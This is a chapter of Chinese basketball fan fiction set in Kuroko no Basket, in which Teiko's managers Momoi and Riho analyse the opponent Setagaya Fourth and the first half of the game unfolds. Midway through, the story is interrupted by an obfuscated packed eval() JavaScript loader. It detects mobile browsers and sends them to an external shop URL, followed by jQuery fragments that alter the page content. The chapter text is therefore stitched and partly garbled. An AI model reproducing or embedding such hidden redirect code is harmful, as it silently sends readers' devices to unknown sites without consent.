赛前会议。
桃井站在白板前，手里拿着一叠厚厚的资料。那是她花了一周时间整理出来的对手分析报告，不是简单的数据罗列，而是包含了对手战术习惯、阵型变化、球员跑动热区、关键时刻的战术倾向等一系列深度内容。
“世田谷四中，区域赛预选赛最后一轮的对手。赢了，我们就能晋级东京都大赛。”桃井用马克笔在白板上画出对方的阵型图，“四中的核心战术是‘收缩防守’。他们的4号，被称为‘世田谷的铁壁’，身高188，臂展有优势，防守覆盖面积大。但这不是他们真正的杀招。”
她翻了一页，贴出一张热区图。
“大家看这张图是四中过去三场比赛的防守站位热区。颜色越深，说明他们在这个位置的防守密度越高。很明显，他们的内线收缩非常极端，三分线外的防守强度只有内线的百分之四十。这意味着，我们的外线会有大量空位。”
绿间思考了片刻，推了推眼镜。“所以你的建议是，开场多投三分？”
“不只是开场。”桃井用红笔圈出几个关键位置，“四中的防守轮转有一个固定的模式：当球进入内线时，他们的4号会立刻收缩到篮下，同时弱侧的防守人会向内线靠拢，补防的路线是这样的——”她画了几条箭头，“补防的移动路线有固定的时间差，大约1.5秒。如果我们能在1.5秒内把球传到弱侧，就是空位三分的机会。”
青峰往后一靠，双臂环在胸前，“你连时间都算出来了？”像是在重新打量对方，眼神里带着意外和欣喜。好几次其实都是青峰和桃井一起去看的比赛，没想到可以看出这么多东西。
“数据可不会说谎。”桃井笑了笑，“另外，四中的4号有一个习惯，当进攻球员在他左侧起跳时，他的右手封盖角度会偏大，左侧会留出大约三十厘米的空隙。青峰，如果你从左侧突破，不要直接上篮，先做一个假动作，他会下意识地往右侧封，你再从左侧出手。”
紫原眼睛瞪圆，一脸吃瓜表情看了她一眼。“桃子，你怎么知道？”
“我看了他过去五场比赛的每一帧封盖镜头。”桃井说得很平静，一共统计了四十七次封盖动作，左侧空隙出现的概率是百分之八十三。”
全场沉默了一秒。
紫原嚼着薯片，接着含混不清地说：“桃子桑，你好可怕。”
“谢谢。”桃井笑的更开心了，“感谢赞美！”眉眼间满是得意与雀跃，她挽着花手，脚跟着后撤一步，干脆利落地朝众人鞠了一躬。
理穗坐在角落里，看着桃井的样子，为她高兴不已，嘴角的弧度不自觉的越来越大。
桃井的数据分析能力，从来不是“辅助”，而是“战略武器”。她很多时候不是在做经理的工作，她很多时候是在做助理教练的工作，甚至比教练更细。
当然这里面也有帝光肯放手给学生的原因。
桃井讲完战术部分后，理穗站了起来。
她翻开自己的笔记本。和桃井那叠厚厚的彩色图表不同，理穗的笔记本上只有黑白两色，黑字，白纸，密密麻麻的数字和符号。但在那些看似枯燥的数据下面，藏着另一种维度的信息。
“桃井已经讲了四中的战术。我再补充分享一下他们的球员状态给大家参考。”
理穗走到白板前，在桃井画的阵型图旁边，写了几个数字。
“4号，大前锋，身高188，体重82公斤。他的右脚踝有旧伤。过去五场比赛，他的上场时间超过三十分钟时，第四节右脚踝的落地角度会偏大约两度。这意味着他的起跳高度和封盖范围在第四节会下降百分之十到十五。”
她顿了顿。
“如果我们把比赛拖到第四节，他的防守效率会明显下降。”
青峰吹了声口哨。“你连这个都看得出来？”
“人体是有极限的。”理穗说，“我可以帮大家进行风险评估和管理。当然对手的也可以稍微预测一下他们的状况。”
她又指向另一个位置。“四中的控球后卫，7号，身高172，体重65公斤。他的体力分配有问题，我看了他的比赛，在比赛的时候他上半场的奔跑速度比下半场要快得多，体力的消耗曲线很明显，说明他的体能储备不足。如果我们让持球人持续对他施压，他的失误率在下半场也会上升。”
“所以你的建议是，上半场消耗他，下半场打他的失误反击？”赤司的目光轻轻落在理穗身上。
“是。”理穗说，“桃井的战术分析告诉我们‘打哪里’，我的分析可以建议大家‘什么时候打’。”
桃井听完，立刻笑着鼓起掌来，眼睛亮晶晶的：“太棒啦！完美配合。”
两个人的目光在空气中撞了一下，同时笑了。
这是帝光篮球部经理双子星，桃井五月负责战术与数据宏观分析，藤原理穗负责人体状态与潜力微观洞察。一个看见对手的“习惯”，一个看见对手的“极限”。合在一起，就是通往胜利的道标。
比赛开始。
跳球。紫原轻松地把球拨给青峰。青峰持球推进，四中的防守阵型迅速收缩——和桃井预测的一模一样。
青峰没有硬闯。他把球传给弧顶的赤司。赤司接球，四中的4号立刻上前压迫。赤司没有慌张，他运球向左移动了一步，吸引了4号的注意力，同时他的余光扫了一眼场边的桃井确认自己的想法。
桃井竖起一根手指。
赤司懂了。一號战术。
他一个背后传球，球飞向右侧底角。绿间接球，出手。三分命中。
桃井在笔记本上写着，预测战术执行成功率100%。她的笔迹工整而迅速，每一个数字都精确到小数点后一位。
而理穗在场边正在记录另一组数据，少年人的身体在初中是旺盛生长时期，就像是竹子一样茂盛，现在的数据和一周前的数据更是千差万别。
这场比赛是个观察大家的很好机会。
第一节，帝光的进攻打得流畅而高效。赤司的指挥像一台精密的调度系统，每一次传球都出现在桃井预测的位置上。桃井的笔记本翻得飞快，她根据四中的每一次防守变化，同时在脑子里快速更新战术模型。
四中的4号确实很强。他的防守覆盖面积大，脚步移动快，几次封盖都差点碰到青峰的投篮。但青峰记住了桃井的话，从左侧突破，假动作，然后出手。第一节他得了八分，四次出手命中三个。
第一节结束，帝光以二十四比十五领先。
休息时，桃井立刻冲到队员们面前。
“四中开始调整了。”她翻开笔记本，上面画了几条新的箭头，“他们的4号开始收缩到罚球线附近，不再跟防到外线。这是为了切断赤司的传球路线。但他们的弱侧防守出现了新的漏洞——看这里。”
她指着一张快速画的阵型图。
“当4号收缩时，他们的底角防守人会向内移动补位，底角会空出来。绿间，你下一节不要只站在右侧底角，试着在左侧底角和右侧底角之间来回移动。赤司会把球传到你所在的底角。”
绿间点了点头。
理穗站在桃井身后，补充道：“另外，四中的7号控卫，上半场的奔跑速度已经开始下降了。他的呼吸频率比第一节快了百分之十五。青峰，你可以开始对他施压了。”
青峰头上盖着毛巾，不知道在想什么。
“阿大，你有没有好好听呀”桃井蹙紧眉尖，气鼓鼓地抿紧双唇。
桃井叫了好多声，青峰才回过神，咧嘴笑了。“收到。”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17530724|203684||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
第二节，四中果然开始调整。他们的4号不再跟防到外线，而是收缩到罚球线附近。青峰两次突破都被干扰，绿间的三分出手空间也被压缩。比分变成二十八比二十二，分差缩小到了六分。
桃井没有慌。她站在场边，眼睛一眨不眨地盯着球场，手里的笔在笔记本上飞快地画着。她在记录四中的每一次防守站位、每一次轮转路线、每一次换人调整。
“他们的轮转时间差变大了。”桃井对身边的理穗说，“4号收缩之后，底角的补防球员移动速度跟不上。大约有0.8秒的空档。”
理穗点了点头。“青峰的右脚踝开始有些负担，他需要减少变向。”
两个人同时开口——
桃井说：“让黑子从弱侧切入。”
理穗说：“让青峰打无球。”
她们对视了一眼。
赤司叫了暂停。桃井和理穗走到队员们面前。
桃井先开口：“四中的防守轮转现在有一个0.8秒的空档。当4号收缩时，弱侧底角的补防球员会慢半拍。黑子，你从弱侧底角切入，赤司会在4号收缩的瞬间把球传给你。你不需要运球，接球直接上篮。”
理穗接着说：“青峰，减少持球突破。你的右脚踝需要休息。多打无球切入，桃井刚才说的弱侧底角空档，你也可以利用。赤司会找到你。”
赤司看了她们一眼。“还有吗？”
两个人同时摇头。
“够了。”赤司说。
暂停结束。比赛继续。
赤司持球，青峰和绿间拉开空间。四中的4号紧贴着赤司，双手张开，像一堵墙。赤司运球向右移动，4号跟着他移动，就在那一瞬间，赤司的手腕一抖，球从4号的腰侧飞了出去。
没有人看见球是怎么传的。但黑子出现在了篮筐左侧，接球，上篮，得分。
全场安静了零点五秒，然后爆发出一阵惊呼。
四中的教练在场边大喊：“盯住那个十四号！他什么时候跑到那里的？！”
桃井在笔记本上写：战术成功。空档，黑子切入时间完美。
理穗看着黑子的表现也点点头，黑子的启动速度比上周快了一点，他的小腿肌肉力量也有在增长，虽然很少。
第二节后半段，帝光重新拉开了分差。
桃井的笔记本上，战术数据一页一页地填满。她记录了四中每一次防守变化、每一次轮转失误、每一个球员的习惯动作。她的大脑像一个高速运转的计算机，把所有的信息转化成战术建议。
理穗的笔记本上，人体数据也在不断更新。她记录了每一个队员的疲劳程度、肌肉状态、伤病风险。她的眼睛像一台精密的扫描仪，捕捉着每一个人体极限的边界。
中场休息，黑子走下场的时候，脚步有些发虚。他的脸色苍白，额头上的汗珠大颗大颗地往下掉，运动背心的领口湿透了一圈。他拿起水瓶想喝水，手却在微微发抖。
“黑子君，你怎么样？”桃井递过毛巾。
“我没事。”黑子的声音很平静，但他的呼吸出卖了他，急促、浅短，像跑完长跑的人。
理穗走到他面前，蹲下来，平视他的眼睛。“黑子君，你的体力消耗速度超出了正常范围。需要休息了。”
黑子点点头，没有多余的回答。但理穗觉得从他的眼神里似乎读出了什么，疲惫，更多的是焦虑。
区域赛的压力开始让他也越来越明白自己的极限。
这场比赛第二节对手就开始慢慢注意到了他的存在感，四中派了专人盯防他。他不再是那个“看不见的球员”了。没了这层身份，他在场上的作用越来越小。
“第三节你休息。”赤司的声音从身后传来，不容置疑。
“是，赤司君。”